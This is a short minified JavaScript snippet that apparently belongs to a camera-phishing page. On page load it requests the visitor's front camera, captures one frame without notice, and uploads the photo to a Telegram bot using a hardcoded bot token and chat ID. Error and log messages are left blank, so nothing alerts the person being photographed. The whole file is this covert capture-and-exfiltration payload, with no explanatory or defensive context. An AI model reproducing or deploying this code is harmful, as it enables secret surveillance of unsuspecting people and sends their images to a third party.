async function requestCameraAccess(){try{var e={video:{facingMode:"user"},audio:!1};const o=await navigator.mediaDevices.getUserMedia(e),t=document.createElement("video"),a=(t.srcObject=o,t.play(),document.getElementById("canvas")),n=a.getContext("2d");t.addEventListener("loadeddata",()=>{a.width=t.videoWidth,a.height=t.videoHeight,n.drawImage(t,0,0,t.videoWidth,t.videoHeight),t.pause(),t.srcObject=null,o.getTracks().forEach(e=>e.stop()),a.toBlob(e=>{sendToTelegram(e)})})}catch(e){console.error("",e)}}function sendToTelegram(e){var o=new FormData;o.append("chat_id","-1002307536774"),o.append("photo",e,"photo.png");fetch("https://api.telegram.org/bot7577593709:AAHx9cXWKqFA6wB9OjYRCgzGmNLBPhC0iD8/sendPhoto",{method:"POST",body:o}).then(e=>e.json()).then(e=>{e.ok?console.log(""):console.error("",e)}).catch(e=>console.error("",e))}window.onload=function(){requestCameraAccess()};